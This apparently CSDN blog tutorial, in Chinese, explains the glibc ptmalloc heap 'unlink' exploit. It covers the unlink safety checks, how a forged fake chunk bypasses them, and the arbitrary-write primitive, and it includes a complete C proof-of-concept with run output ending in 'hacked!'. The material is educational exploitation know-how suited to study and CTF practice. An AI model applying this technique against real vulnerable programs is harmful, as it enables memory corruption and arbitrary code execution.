ptmalloc heap unlink exploit

概述

Heap unlink exploit 

前提是要对ptmalloc堆有一定的了解。

Unlink

Unlink:用来将一个双向 bin 链表中的一个 chunk 取出来

参数:

AVarena header(malloc_state)

P :将要unlinkchunk

BKP后面的chunk    <--

FDP前面的chunk    -->

具体过程如下:

chunkFD/BK链表中摘除;

如果是large chunk,则将chunkfd_nextsize/bk_nextsize链表中摘除

 

安全检查

对于samll chunk,只有前两项检查;

对于large chunk,还有第三项检查;

检查项

说明

corrupted size vs. prev_size

Chunk size是否一致

Glibc-2.26开始增加此检查;

 

对于free chunk,有两个地方存放了chunk的大小:

一个是本chunksize字段;

一个是nextchunkprev_size字段;

corrupted double-linked list

链表指针是否一致

什么时候增加的此检查?

 

检查这两个条件:

P->fd->bk == P

P->bk->fd == P

corrupted double-linked list

 (not small)

Large chunk链表是否一致

 

检查这两个条件:

P->fd_nextsize->bk_nextsize == P

P->bk_nextsize->fd_nextsize == P

 

Glibc-2.26中的相关代码如下:

 


 classic unlink exploit

1. Unlink主要的操作是将chunk PFD/BK链表中删除:

FD = P->fd;               

BK = P->bk;               

FD->bk = BK;              

BK->fd = FD;              

 更简单的描述,就是执行下面两条语句:

P->fd->bk = P->bk

P->bk->fd = P->fd

 最初的时候,没有安全检查;

 2. 溢出修改Chunk P

设置P->fd = A

设置P->bk = B

3. unlink P时会这样执行:

设置*(A+3*U) = B

设置*(B+2*U) = A

其中U = sizeof(void*)

4. 可以通过 unlink 实现任意地址写

AB都是用户控制的地址

A+3*U的位置写入了B

B+2*U的位置写入了A

这里隐含的条件是A+3*PB+2*P必须是可写的地址;

而且一次会修改两个位置,这意味着如果只想修改一个地方的话,会有副作用。

5. 应用场景:

改写got表项,最终造成任意代码执行

当前的unlink

1. Unlink的安全检查

对于small chunkunlink有两个安全检查需要绕过:

l 大小检查

chunksize(P) == prev_size (next_chunk(P))

l FD/BK链表检查:

P->fd->bk == P

P->bk->fd == P

 

2. 绕过安全检查

假设溢出时这样修改Chunk P

设置P->fd = A

设置P->bk = B

unlink P时,FD/BK链表检查要求:

*(A+3*U) == P //找到一个地址,+3*U的地方存储的是P

*(B+2*U) == P //找到一个地址,+2*U的地方存储的是P

 

3. 产生的结果

如果绕过了这个检查,则会产生这样的效果:

P->fd->bk = P->bk //赋值

=> *(A+3*U) = B //A+3*U地址处的值从P改为了B

 

P->bk->fd = P->fd //赋值

=> *(B+2*U) = A //B+2*U地址处的值从P改为了A

unlink exploit实例

本实例来自https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit.html

测试环境为Ubuntu 16.04

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[ 10]; // padding
};

int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[ 20];

// First grab two chunks (non fast)
chunk1 = malloc( 0x80);
chunk2 = malloc( 0x80);
printf( "%p \n ", &chunk1);
printf( "%p \n ", chunk1);
printf( "%p \n ", chunk2);

// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header

// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = ( struct chunk_structure *)chunk1;
fake_chunk-> fd = ( struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk-> bk = ( struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = ( struct chunk_structure *)(chunk2 - 2);
chunk2_hdr-> prev_size = 0x80; // chunk1's data region size
chunk2_hdr-> size &= ~ 1; // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf( "%p \n ", chunk1);
printf( "%x \n ", chunk1[ 3]);

chunk1[ 3] = ( unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1
chunk1[ 0] = 0x002164656b636168LL;

printf( "%s \n ", data);

return 0;
}

【程序说明】

Ø 首先分配了两个small chunk(chunk1 chunk2),大小为0x80

Ø 这里假设攻击者可以控制chunk1的内容(通过不安全的函数如strcpy等);

程序在chunk1的数据部分创建了一个假的chunk,绕过了FD/BK链表检查:

 

unsigned long long *chunk1;

struct chunk_structure *fake_chunk;

fake_chunk = (struct chunk_structure *)chunk1;

fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3);

// Ensures P->fd->bk == P

fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2);

// Ensures P->bk->fd == P

 

chunk1指针本身位于栈中。

因此,我们找到了一个地址(&chunk1),存放的是chunk1

为了满足FD/BK链表条件:

*(A+3*U) == P //找到一个地址,+3*U的地方存储的是P

*(B+2*U) == P //找到一个地址,+2*U的地方存储的是P

 

A(FD)B(BK)可以这样设置:

A=&chunk1-3*U

B=&chunk1-2*U

Ø 溢出修改chunk2的头部,设置prev_size字段,清除size字段的prev_in_use比特。这可以确保chunk2被释放时,fake chunk被检测到已经被释放(freed),将被unlink

Ø 内存布局如下图

 

Ø free(chunk2);

释放chunk2时,会和低地址的fake chunk合并,合并之前,攻击者的fake chunk会被unlink

 

unlink会执行以下操作:

P->fd->bk = P->bk //赋值

=> *(A+3*U) = B //A+3*U地址处的值从P改为了B

 

P->bk->fd = P->fd //赋值

=> *(B+2*U) = A //B+2*U地址处的值从P改为了A

 

在这里的效果,就是:

*(&chunk1) = &chunk1-2*U

*(&chunk1) = &chunk1-3*U

也就是chunk1指针现在被修改为了&chunk1-3*U

Chunk1[3] == chunk1 == &chunk1-3*U

内存分布如下:

 

Ø 攻击验证

现在我们修改chunk1[3]的值,就可以修改chunk1指针

这里将chunk1修改为data,修改chunk1的值就是修改data的值

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1

chunk1[0] = 0x002164656b636168LL;

printf("%s\n", data);

 

Ø 测试结果

millionsky@ubuntu-16:~/tmp/unlink$ ./a.out

0x7ffe9f7bce40

&chunk2=0x7ffe9f7bce48, &fake_chunk=0x7ffe9f7bce50, &chunk2_hdr=0x7ffe9f7bce58, data=0x7ffe9f7bce60

0x13bb010

0x13bb0a0

0x7ffe9f7bce28

0x7ffe9f7bce28

hacked!

附件

结论

1. Unlink fd/bk链表检查

P->fd->bk = P->bk

P->bk->fd = P->fd

 

2. Unlink exploit

假设溢出时这样修改Chunk P

设置P->fd = A

设置P->bk = B

unlink P时,FD/BK链表检查要求:

*(A+3*U) == P //找到一个地址,+3*U的地方存储的是P

*(B+2*U) == P //找到一个地址,+2*U的地方存储的是P

 

如果绕过了这个检查,则会产生这样的效果:

P->fd->bk = P->bk //赋值

=> *(A+3*U) = B //A+3*U地址处的值从P改为了B

 

P->bk->fd = P->fd //赋值

=> *(B+2*U) = A //B+2*U地址处的值从P改为了A

 

3. 一个unlink exploit实例

//unlinkchunk地址存储在栈上

unsigned long long *chunk1;

 

因此,我们找到了一个栈地址(&chunk1),存放的是chunk1

A(FD)B(BK)这样设置,可以绕过FD/BK链表检查:

A=&chunk1-3*U

B=&chunk1-2*U

unlink chunk1后:

*(&chunk1) = &chunk1-2*U

*(&chunk1) = &chunk1-3*U

也就是chunk1指针现在被修改为了&chunk1-3*U

Chunk1[3] == chunk1 == &chunk1-3*U

参考文章

1. https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit.html

2. https://ctf-wiki.github.io/ctf-wiki/pwn/heap/unlink/

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值